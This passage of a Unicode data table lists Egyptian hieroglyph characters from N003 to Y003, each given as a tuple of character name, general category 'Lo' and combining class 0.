("EGYPTIAN HIEROGLYPH N003", "Lo", 0),
("EGYPTIAN HIEROGLYPH N004", "Lo", 0),
("EGYPTIAN HIEROGLYPH N005", "Lo", 0),
("EGYPTIAN HIEROGLYPH N006", "Lo", 0),
("EGYPTIAN HIEROGLYPH N007", "Lo", 0),
("EGYPTIAN HIEROGLYPH N008", "Lo", 0),
("EGYPTIAN HIEROGLYPH N009", "Lo", 0),
("EGYPTIAN HIEROGLYPH N010", "Lo", 0),
("EGYPTIAN HIEROGLYPH N011", "Lo", 0),
("EGYPTIAN HIEROGLYPH N012", "Lo", 0),
("EGYPTIAN HIEROGLYPH N013", "Lo", 0),
("EGYPTIAN HIEROGLYPH N014", "Lo", 0),
("EGYPTIAN HIEROGLYPH N015", "Lo", 0),
("EGYPTIAN HIEROGLYPH N016", "Lo", 0),
("EGYPTIAN HIEROGLYPH N017", "Lo", 0),
("EGYPTIAN HIEROGLYPH N018", "Lo", 0),
("EGYPTIAN HIEROGLYPH N018A", "Lo", 0),
("EGYPTIAN HIEROGLYPH N018B", "Lo", 0),
("EGYPTIAN HIEROGLYPH N019", "Lo", 0),
("EGYPTIAN HIEROGLYPH N020", "Lo", 0),
("EGYPTIAN HIEROGLYPH N021", "Lo", 0),
("EGYPTIAN HIEROGLYPH N022", "Lo", 0),
("EGYPTIAN HIEROGLYPH N023", "Lo", 0),
("EGYPTIAN HIEROGLYPH N024", "Lo", 0),
("EGYPTIAN HIEROGLYPH N025", "Lo", 0),
("EGYPTIAN HIEROGLYPH N025A", "Lo", 0),
("EGYPTIAN HIEROGLYPH N026", "Lo", 0),
("EGYPTIAN HIEROGLYPH N027", "Lo", 0),
("EGYPTIAN HIEROGLYPH N028", "Lo", 0),
("EGYPTIAN HIEROGLYPH N029", "Lo", 0),
("EGYPTIAN HIEROGLYPH N030", "Lo", 0),
("EGYPTIAN HIEROGLYPH N031", "Lo", 0),
("EGYPTIAN HIEROGLYPH N032", "Lo", 0),
("EGYPTIAN HIEROGLYPH N033", "Lo", 0),
("EGYPTIAN HIEROGLYPH N033A", "Lo", 0),
("EGYPTIAN HIEROGLYPH N034", "Lo", 0),
("EGYPTIAN HIEROGLYPH N034A", "Lo", 0),
("EGYPTIAN HIEROGLYPH N035", "Lo", 0),
("EGYPTIAN HIEROGLYPH N035A", "Lo", 0),
("EGYPTIAN HIEROGLYPH N036", "Lo", 0),
("EGYPTIAN HIEROGLYPH N037", "Lo", 0),
("EGYPTIAN HIEROGLYPH N037A", "Lo", 0),
("EGYPTIAN HIEROGLYPH N038", "Lo", 0),
("EGYPTIAN HIEROGLYPH N039", "Lo", 0),
("EGYPTIAN HIEROGLYPH N040", "Lo", 0),
("EGYPTIAN HIEROGLYPH N041", "Lo", 0),
("EGYPTIAN HIEROGLYPH N042", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL001", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL002", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL003", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL004", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL005", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL005A", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL006", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL007", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL008", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL009", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL010", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL011", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL012", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL013", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL014", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL015", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL016", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL017", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL017A", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL018", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL019", "Lo", 0),
("EGYPTIAN HIEROGLYPH NL020", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU001", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU002", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU003", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU004", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU005", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU006", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU007", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU008", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU009", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU010", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU010A", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU011", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU011A", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU012", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU013", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU014", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU015", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU016", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU017", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU018", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU018A", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU019", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU020", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU021", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU022", "Lo", 0),
("EGYPTIAN HIEROGLYPH NU022A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O001", "Lo", 0),
("EGYPTIAN HIEROGLYPH O001A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O002", "Lo", 0),
("EGYPTIAN HIEROGLYPH O003", "Lo", 0),
("EGYPTIAN HIEROGLYPH O004", "Lo", 0),
("EGYPTIAN HIEROGLYPH O005", "Lo", 0),
("EGYPTIAN HIEROGLYPH O005A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O006", "Lo", 0),
("EGYPTIAN HIEROGLYPH O006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O006B", "Lo", 0),
("EGYPTIAN HIEROGLYPH O006C", "Lo", 0),
("EGYPTIAN HIEROGLYPH O006D", "Lo", 0),
("EGYPTIAN HIEROGLYPH O006E", "Lo", 0),
("EGYPTIAN HIEROGLYPH O006F", "Lo", 0),
("EGYPTIAN HIEROGLYPH O007", "Lo", 0),
("EGYPTIAN HIEROGLYPH O008", "Lo", 0),
("EGYPTIAN HIEROGLYPH O009", "Lo", 0),
("EGYPTIAN HIEROGLYPH O010", "Lo", 0),
("EGYPTIAN HIEROGLYPH O010A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O010B", "Lo", 0),
("EGYPTIAN HIEROGLYPH O010C", "Lo", 0),
("EGYPTIAN HIEROGLYPH O011", "Lo", 0),
("EGYPTIAN HIEROGLYPH O012", "Lo", 0),
("EGYPTIAN HIEROGLYPH O013", "Lo", 0),
("EGYPTIAN HIEROGLYPH O014", "Lo", 0),
("EGYPTIAN HIEROGLYPH O015", "Lo", 0),
("EGYPTIAN HIEROGLYPH O016", "Lo", 0),
("EGYPTIAN HIEROGLYPH O017", "Lo", 0),
("EGYPTIAN HIEROGLYPH O018", "Lo", 0),
("EGYPTIAN HIEROGLYPH O019", "Lo", 0),
("EGYPTIAN HIEROGLYPH O019A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O020", "Lo", 0),
("EGYPTIAN HIEROGLYPH O020A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O021", "Lo", 0),
("EGYPTIAN HIEROGLYPH O022", "Lo", 0),
("EGYPTIAN HIEROGLYPH O023", "Lo", 0),
("EGYPTIAN HIEROGLYPH O024", "Lo", 0),
("EGYPTIAN HIEROGLYPH O024A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O025", "Lo", 0),
("EGYPTIAN HIEROGLYPH O025A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O026", "Lo", 0),
("EGYPTIAN HIEROGLYPH O027", "Lo", 0),
("EGYPTIAN HIEROGLYPH O028", "Lo", 0),
("EGYPTIAN HIEROGLYPH O029", "Lo", 0),
("EGYPTIAN HIEROGLYPH O029A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O030", "Lo", 0),
("EGYPTIAN HIEROGLYPH O030A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O031", "Lo", 0),
("EGYPTIAN HIEROGLYPH O032", "Lo", 0),
("EGYPTIAN HIEROGLYPH O033", "Lo", 0),
("EGYPTIAN HIEROGLYPH O033A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O034", "Lo", 0),
("EGYPTIAN HIEROGLYPH O035", "Lo", 0),
("EGYPTIAN HIEROGLYPH O036", "Lo", 0),
("EGYPTIAN HIEROGLYPH O036A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O036B", "Lo", 0),
("EGYPTIAN HIEROGLYPH O036C", "Lo", 0),
("EGYPTIAN HIEROGLYPH O036D", "Lo", 0),
("EGYPTIAN HIEROGLYPH O037", "Lo", 0),
("EGYPTIAN HIEROGLYPH O038", "Lo", 0),
("EGYPTIAN HIEROGLYPH O039", "Lo", 0),
("EGYPTIAN HIEROGLYPH O040", "Lo", 0),
("EGYPTIAN HIEROGLYPH O041", "Lo", 0),
("EGYPTIAN HIEROGLYPH O042", "Lo", 0),
("EGYPTIAN HIEROGLYPH O043", "Lo", 0),
("EGYPTIAN HIEROGLYPH O044", "Lo", 0),
("EGYPTIAN HIEROGLYPH O045", "Lo", 0),
("EGYPTIAN HIEROGLYPH O046", "Lo", 0),
("EGYPTIAN HIEROGLYPH O047", "Lo", 0),
("EGYPTIAN HIEROGLYPH O048", "Lo", 0),
("EGYPTIAN HIEROGLYPH O049", "Lo", 0),
("EGYPTIAN HIEROGLYPH O050", "Lo", 0),
("EGYPTIAN HIEROGLYPH O050A", "Lo", 0),
("EGYPTIAN HIEROGLYPH O050B", "Lo", 0),
("EGYPTIAN HIEROGLYPH O051", "Lo", 0),
("EGYPTIAN HIEROGLYPH P001", "Lo", 0),
("EGYPTIAN HIEROGLYPH P001A", "Lo", 0),
("EGYPTIAN HIEROGLYPH P002", "Lo", 0),
("EGYPTIAN HIEROGLYPH P003", "Lo", 0),
("EGYPTIAN HIEROGLYPH P003A", "Lo", 0),
("EGYPTIAN HIEROGLYPH P004", "Lo", 0),
("EGYPTIAN HIEROGLYPH P005", "Lo", 0),
("EGYPTIAN HIEROGLYPH P006", "Lo", 0),
("EGYPTIAN HIEROGLYPH P007", "Lo", 0),
("EGYPTIAN HIEROGLYPH P008", "Lo", 0),
("EGYPTIAN HIEROGLYPH P009", "Lo", 0),
("EGYPTIAN HIEROGLYPH P010", "Lo", 0),
("EGYPTIAN HIEROGLYPH P011", "Lo", 0),
("EGYPTIAN HIEROGLYPH Q001", "Lo", 0),
("EGYPTIAN HIEROGLYPH Q002", "Lo", 0),
("EGYPTIAN HIEROGLYPH Q003", "Lo", 0),
("EGYPTIAN HIEROGLYPH Q004", "Lo", 0),
("EGYPTIAN HIEROGLYPH Q005", "Lo", 0),
("EGYPTIAN HIEROGLYPH Q006", "Lo", 0),
("EGYPTIAN HIEROGLYPH Q007", "Lo", 0),
("EGYPTIAN HIEROGLYPH R001", "Lo", 0),
("EGYPTIAN HIEROGLYPH R002", "Lo", 0),
("EGYPTIAN HIEROGLYPH R002A", "Lo", 0),
("EGYPTIAN HIEROGLYPH R003", "Lo", 0),
("EGYPTIAN HIEROGLYPH R003A", "Lo", 0),
("EGYPTIAN HIEROGLYPH R003B", "Lo", 0),
("EGYPTIAN HIEROGLYPH R004", "Lo", 0),
("EGYPTIAN HIEROGLYPH R005", "Lo", 0),
("EGYPTIAN HIEROGLYPH R006", "Lo", 0),
("EGYPTIAN HIEROGLYPH R007", "Lo", 0),
("EGYPTIAN HIEROGLYPH R008", "Lo", 0),
("EGYPTIAN HIEROGLYPH R009", "Lo", 0),
("EGYPTIAN HIEROGLYPH R010", "Lo", 0),
("EGYPTIAN HIEROGLYPH R010A", "Lo", 0),
("EGYPTIAN HIEROGLYPH R011", "Lo", 0),
("EGYPTIAN HIEROGLYPH R012", "Lo", 0),
("EGYPTIAN HIEROGLYPH R013", "Lo", 0),
("EGYPTIAN HIEROGLYPH R014", "Lo", 0),
("EGYPTIAN HIEROGLYPH R015", "Lo", 0),
("EGYPTIAN HIEROGLYPH R016", "Lo", 0),
("EGYPTIAN HIEROGLYPH R016A", "Lo", 0),
("EGYPTIAN HIEROGLYPH R017", "Lo", 0),
("EGYPTIAN HIEROGLYPH R018", "Lo", 0),
("EGYPTIAN HIEROGLYPH R019", "Lo", 0),
("EGYPTIAN HIEROGLYPH R020", "Lo", 0),
("EGYPTIAN HIEROGLYPH R021", "Lo", 0),
("EGYPTIAN HIEROGLYPH R022", "Lo", 0),
("EGYPTIAN HIEROGLYPH R023", "Lo", 0),
("EGYPTIAN HIEROGLYPH R024", "Lo", 0),
("EGYPTIAN HIEROGLYPH R025", "Lo", 0),
("EGYPTIAN HIEROGLYPH R026", "Lo", 0),
("EGYPTIAN HIEROGLYPH R027", "Lo", 0),
("EGYPTIAN HIEROGLYPH R028", "Lo", 0),
("EGYPTIAN HIEROGLYPH R029", "Lo", 0),
("EGYPTIAN HIEROGLYPH S001", "Lo", 0),
("EGYPTIAN HIEROGLYPH S002", "Lo", 0),
("EGYPTIAN HIEROGLYPH S002A", "Lo", 0),
("EGYPTIAN HIEROGLYPH S003", "Lo", 0),
("EGYPTIAN HIEROGLYPH S004", "Lo", 0),
("EGYPTIAN HIEROGLYPH S005", "Lo", 0),
("EGYPTIAN HIEROGLYPH S006", "Lo", 0),
("EGYPTIAN HIEROGLYPH S006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH S007", "Lo", 0),
("EGYPTIAN HIEROGLYPH S008", "Lo", 0),
("EGYPTIAN HIEROGLYPH S009", "Lo", 0),
("EGYPTIAN HIEROGLYPH S010", "Lo", 0),
("EGYPTIAN HIEROGLYPH S011", "Lo", 0),
("EGYPTIAN HIEROGLYPH S012", "Lo", 0),
("EGYPTIAN HIEROGLYPH S013", "Lo", 0),
("EGYPTIAN HIEROGLYPH S014", "Lo", 0),
("EGYPTIAN HIEROGLYPH S014A", "Lo", 0),
("EGYPTIAN HIEROGLYPH S014B", "Lo", 0),
("EGYPTIAN HIEROGLYPH S015", "Lo", 0),
("EGYPTIAN HIEROGLYPH S016", "Lo", 0),
("EGYPTIAN HIEROGLYPH S017", "Lo", 0),
("EGYPTIAN HIEROGLYPH S017A", "Lo", 0),
("EGYPTIAN HIEROGLYPH S018", "Lo", 0),
("EGYPTIAN HIEROGLYPH S019", "Lo", 0),
("EGYPTIAN HIEROGLYPH S020", "Lo", 0),
("EGYPTIAN HIEROGLYPH S021", "Lo", 0),
("EGYPTIAN HIEROGLYPH S022", "Lo", 0),
("EGYPTIAN HIEROGLYPH S023", "Lo", 0),
("EGYPTIAN HIEROGLYPH S024", "Lo", 0),
("EGYPTIAN HIEROGLYPH S025", "Lo", 0),
("EGYPTIAN HIEROGLYPH S026", "Lo", 0),
("EGYPTIAN HIEROGLYPH S026A", "Lo", 0),
("EGYPTIAN HIEROGLYPH S026B", "Lo", 0),
("EGYPTIAN HIEROGLYPH S027", "Lo", 0),
("EGYPTIAN HIEROGLYPH S028", "Lo", 0),
("EGYPTIAN HIEROGLYPH S029", "Lo", 0),
("EGYPTIAN HIEROGLYPH S030", "Lo", 0),
("EGYPTIAN HIEROGLYPH S031", "Lo", 0),
("EGYPTIAN HIEROGLYPH S032", "Lo", 0),
("EGYPTIAN HIEROGLYPH S033", "Lo", 0),
("EGYPTIAN HIEROGLYPH S034", "Lo", 0),
("EGYPTIAN HIEROGLYPH S035", "Lo", 0),
("EGYPTIAN HIEROGLYPH S035A", "Lo", 0),
("EGYPTIAN HIEROGLYPH S036", "Lo", 0),
("EGYPTIAN HIEROGLYPH S037", "Lo", 0),
("EGYPTIAN HIEROGLYPH S038", "Lo", 0),
("EGYPTIAN HIEROGLYPH S039", "Lo", 0),
("EGYPTIAN HIEROGLYPH S040", "Lo", 0),
("EGYPTIAN HIEROGLYPH S041", "Lo", 0),
("EGYPTIAN HIEROGLYPH S042", "Lo", 0),
("EGYPTIAN HIEROGLYPH S043", "Lo", 0),
("EGYPTIAN HIEROGLYPH S044", "Lo", 0),
("EGYPTIAN HIEROGLYPH S045", "Lo", 0),
("EGYPTIAN HIEROGLYPH S046", "Lo", 0),
("EGYPTIAN HIEROGLYPH T001", "Lo", 0),
("EGYPTIAN HIEROGLYPH T002", "Lo", 0),
("EGYPTIAN HIEROGLYPH T003", "Lo", 0),
("EGYPTIAN HIEROGLYPH T003A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T004", "Lo", 0),
("EGYPTIAN HIEROGLYPH T005", "Lo", 0),
("EGYPTIAN HIEROGLYPH T006", "Lo", 0),
("EGYPTIAN HIEROGLYPH T007", "Lo", 0),
("EGYPTIAN HIEROGLYPH T007A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T008", "Lo", 0),
("EGYPTIAN HIEROGLYPH T008A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T009", "Lo", 0),
("EGYPTIAN HIEROGLYPH T009A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T010", "Lo", 0),
("EGYPTIAN HIEROGLYPH T011", "Lo", 0),
("EGYPTIAN HIEROGLYPH T011A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T012", "Lo", 0),
("EGYPTIAN HIEROGLYPH T013", "Lo", 0),
("EGYPTIAN HIEROGLYPH T014", "Lo", 0),
("EGYPTIAN HIEROGLYPH T015", "Lo", 0),
("EGYPTIAN HIEROGLYPH T016", "Lo", 0),
("EGYPTIAN HIEROGLYPH T016A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T017", "Lo", 0),
("EGYPTIAN HIEROGLYPH T018", "Lo", 0),
("EGYPTIAN HIEROGLYPH T019", "Lo", 0),
("EGYPTIAN HIEROGLYPH T020", "Lo", 0),
("EGYPTIAN HIEROGLYPH T021", "Lo", 0),
("EGYPTIAN HIEROGLYPH T022", "Lo", 0),
("EGYPTIAN HIEROGLYPH T023", "Lo", 0),
("EGYPTIAN HIEROGLYPH T024", "Lo", 0),
("EGYPTIAN HIEROGLYPH T025", "Lo", 0),
("EGYPTIAN HIEROGLYPH T026", "Lo", 0),
("EGYPTIAN HIEROGLYPH T027", "Lo", 0),
("EGYPTIAN HIEROGLYPH T028", "Lo", 0),
("EGYPTIAN HIEROGLYPH T029", "Lo", 0),
("EGYPTIAN HIEROGLYPH T030", "Lo", 0),
("EGYPTIAN HIEROGLYPH T031", "Lo", 0),
("EGYPTIAN HIEROGLYPH T032", "Lo", 0),
("EGYPTIAN HIEROGLYPH T032A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T033", "Lo", 0),
("EGYPTIAN HIEROGLYPH T033A", "Lo", 0),
("EGYPTIAN HIEROGLYPH T034", "Lo", 0),
("EGYPTIAN HIEROGLYPH T035", "Lo", 0),
("EGYPTIAN HIEROGLYPH T036", "Lo", 0),
("EGYPTIAN HIEROGLYPH U001", "Lo", 0),
("EGYPTIAN HIEROGLYPH U002", "Lo", 0),
("EGYPTIAN HIEROGLYPH U003", "Lo", 0),
("EGYPTIAN HIEROGLYPH U004", "Lo", 0),
("EGYPTIAN HIEROGLYPH U005", "Lo", 0),
("EGYPTIAN HIEROGLYPH U006", "Lo", 0),
("EGYPTIAN HIEROGLYPH U006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH U006B", "Lo", 0),
("EGYPTIAN HIEROGLYPH U007", "Lo", 0),
("EGYPTIAN HIEROGLYPH U008", "Lo", 0),
("EGYPTIAN HIEROGLYPH U009", "Lo", 0),
("EGYPTIAN HIEROGLYPH U010", "Lo", 0),
("EGYPTIAN HIEROGLYPH U011", "Lo", 0),
("EGYPTIAN HIEROGLYPH U012", "Lo", 0),
("EGYPTIAN HIEROGLYPH U013", "Lo", 0),
("EGYPTIAN HIEROGLYPH U014", "Lo", 0),
("EGYPTIAN HIEROGLYPH U015", "Lo", 0),
("EGYPTIAN HIEROGLYPH U016", "Lo", 0),
("EGYPTIAN HIEROGLYPH U017", "Lo", 0),
("EGYPTIAN HIEROGLYPH U018", "Lo", 0),
("EGYPTIAN HIEROGLYPH U019", "Lo", 0),
("EGYPTIAN HIEROGLYPH U020", "Lo", 0),
("EGYPTIAN HIEROGLYPH U021", "Lo", 0),
("EGYPTIAN HIEROGLYPH U022", "Lo", 0),
("EGYPTIAN HIEROGLYPH U023", "Lo", 0),
("EGYPTIAN HIEROGLYPH U023A", "Lo", 0),
("EGYPTIAN HIEROGLYPH U024", "Lo", 0),
("EGYPTIAN HIEROGLYPH U025", "Lo", 0),
("EGYPTIAN HIEROGLYPH U026", "Lo", 0),
("EGYPTIAN HIEROGLYPH U027", "Lo", 0),
("EGYPTIAN HIEROGLYPH U028", "Lo", 0),
("EGYPTIAN HIEROGLYPH U029", "Lo", 0),
("EGYPTIAN HIEROGLYPH U029A", "Lo", 0),
("EGYPTIAN HIEROGLYPH U030", "Lo", 0),
("EGYPTIAN HIEROGLYPH U031", "Lo", 0),
("EGYPTIAN HIEROGLYPH U032", "Lo", 0),
("EGYPTIAN HIEROGLYPH U032A", "Lo", 0),
("EGYPTIAN HIEROGLYPH U033", "Lo", 0),
("EGYPTIAN HIEROGLYPH U034", "Lo", 0),
("EGYPTIAN HIEROGLYPH U035", "Lo", 0),
("EGYPTIAN HIEROGLYPH U036", "Lo", 0),
("EGYPTIAN HIEROGLYPH U037", "Lo", 0),
("EGYPTIAN HIEROGLYPH U038", "Lo", 0),
("EGYPTIAN HIEROGLYPH U039", "Lo", 0),
("EGYPTIAN HIEROGLYPH U040", "Lo", 0),
("EGYPTIAN HIEROGLYPH U041", "Lo", 0),
("EGYPTIAN HIEROGLYPH U042", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001B", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001C", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001D", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001E", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001F", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001G", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001H", "Lo", 0),
("EGYPTIAN HIEROGLYPH V001I", "Lo", 0),
("EGYPTIAN HIEROGLYPH V002", "Lo", 0),
("EGYPTIAN HIEROGLYPH V002A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V003", "Lo", 0),
("EGYPTIAN HIEROGLYPH V004", "Lo", 0),
("EGYPTIAN HIEROGLYPH V005", "Lo", 0),
("EGYPTIAN HIEROGLYPH V006", "Lo", 0),
("EGYPTIAN HIEROGLYPH V007", "Lo", 0),
("EGYPTIAN HIEROGLYPH V007A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V007B", "Lo", 0),
("EGYPTIAN HIEROGLYPH V008", "Lo", 0),
("EGYPTIAN HIEROGLYPH V009", "Lo", 0),
("EGYPTIAN HIEROGLYPH V010", "Lo", 0),
("EGYPTIAN HIEROGLYPH V011", "Lo", 0),
("EGYPTIAN HIEROGLYPH V011A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V011B", "Lo", 0),
("EGYPTIAN HIEROGLYPH V011C", "Lo", 0),
("EGYPTIAN HIEROGLYPH V012", "Lo", 0),
("EGYPTIAN HIEROGLYPH V012A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V012B", "Lo", 0),
("EGYPTIAN HIEROGLYPH V013", "Lo", 0),
("EGYPTIAN HIEROGLYPH V014", "Lo", 0),
("EGYPTIAN HIEROGLYPH V015", "Lo", 0),
("EGYPTIAN HIEROGLYPH V016", "Lo", 0),
("EGYPTIAN HIEROGLYPH V017", "Lo", 0),
("EGYPTIAN HIEROGLYPH V018", "Lo", 0),
("EGYPTIAN HIEROGLYPH V019", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020B", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020C", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020D", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020E", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020F", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020G", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020H", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020I", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020J", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020K", "Lo", 0),
("EGYPTIAN HIEROGLYPH V020L", "Lo", 0),
("EGYPTIAN HIEROGLYPH V021", "Lo", 0),
("EGYPTIAN HIEROGLYPH V022", "Lo", 0),
("EGYPTIAN HIEROGLYPH V023", "Lo", 0),
("EGYPTIAN HIEROGLYPH V023A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V024", "Lo", 0),
("EGYPTIAN HIEROGLYPH V025", "Lo", 0),
("EGYPTIAN HIEROGLYPH V026", "Lo", 0),
("EGYPTIAN HIEROGLYPH V027", "Lo", 0),
("EGYPTIAN HIEROGLYPH V028", "Lo", 0),
("EGYPTIAN HIEROGLYPH V028A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V029", "Lo", 0),
("EGYPTIAN HIEROGLYPH V029A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V030", "Lo", 0),
("EGYPTIAN HIEROGLYPH V030A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V031", "Lo", 0),
("EGYPTIAN HIEROGLYPH V031A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V032", "Lo", 0),
("EGYPTIAN HIEROGLYPH V033", "Lo", 0),
("EGYPTIAN HIEROGLYPH V033A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V034", "Lo", 0),
("EGYPTIAN HIEROGLYPH V035", "Lo", 0),
("EGYPTIAN HIEROGLYPH V036", "Lo", 0),
("EGYPTIAN HIEROGLYPH V037", "Lo", 0),
("EGYPTIAN HIEROGLYPH V037A", "Lo", 0),
("EGYPTIAN HIEROGLYPH V038", "Lo", 0),
("EGYPTIAN HIEROGLYPH V039", "Lo", 0),
("EGYPTIAN HIEROGLYPH V040", "Lo", 0),
("EGYPTIAN HIEROGLYPH V040A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W001", "Lo", 0),
("EGYPTIAN HIEROGLYPH W002", "Lo", 0),
("EGYPTIAN HIEROGLYPH W003", "Lo", 0),
("EGYPTIAN HIEROGLYPH W003A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W004", "Lo", 0),
("EGYPTIAN HIEROGLYPH W005", "Lo", 0),
("EGYPTIAN HIEROGLYPH W006", "Lo", 0),
("EGYPTIAN HIEROGLYPH W007", "Lo", 0),
("EGYPTIAN HIEROGLYPH W008", "Lo", 0),
("EGYPTIAN HIEROGLYPH W009", "Lo", 0),
("EGYPTIAN HIEROGLYPH W009A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W010", "Lo", 0),
("EGYPTIAN HIEROGLYPH W010A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W011", "Lo", 0),
("EGYPTIAN HIEROGLYPH W012", "Lo", 0),
("EGYPTIAN HIEROGLYPH W013", "Lo", 0),
("EGYPTIAN HIEROGLYPH W014", "Lo", 0),
("EGYPTIAN HIEROGLYPH W014A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W015", "Lo", 0),
("EGYPTIAN HIEROGLYPH W016", "Lo", 0),
("EGYPTIAN HIEROGLYPH W017", "Lo", 0),
("EGYPTIAN HIEROGLYPH W017A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W018", "Lo", 0),
("EGYPTIAN HIEROGLYPH W018A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W019", "Lo", 0),
("EGYPTIAN HIEROGLYPH W020", "Lo", 0),
("EGYPTIAN HIEROGLYPH W021", "Lo", 0),
("EGYPTIAN HIEROGLYPH W022", "Lo", 0),
("EGYPTIAN HIEROGLYPH W023", "Lo", 0),
("EGYPTIAN HIEROGLYPH W024", "Lo", 0),
("EGYPTIAN HIEROGLYPH W024A", "Lo", 0),
("EGYPTIAN HIEROGLYPH W025", "Lo", 0),
("EGYPTIAN HIEROGLYPH X001", "Lo", 0),
("EGYPTIAN HIEROGLYPH X002", "Lo", 0),
("EGYPTIAN HIEROGLYPH X003", "Lo", 0),
("EGYPTIAN HIEROGLYPH X004", "Lo", 0),
("EGYPTIAN HIEROGLYPH X004A", "Lo", 0),
("EGYPTIAN HIEROGLYPH X004B", "Lo", 0),
("EGYPTIAN HIEROGLYPH X005", "Lo", 0),
("EGYPTIAN HIEROGLYPH X006", "Lo", 0),
("EGYPTIAN HIEROGLYPH X006A", "Lo", 0),
("EGYPTIAN HIEROGLYPH X007", "Lo", 0),
("EGYPTIAN HIEROGLYPH X008", "Lo", 0),
("EGYPTIAN HIEROGLYPH X008A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y001", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y001A", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y002", "Lo", 0),
("EGYPTIAN HIEROGLYPH Y003", "Lo", 0),
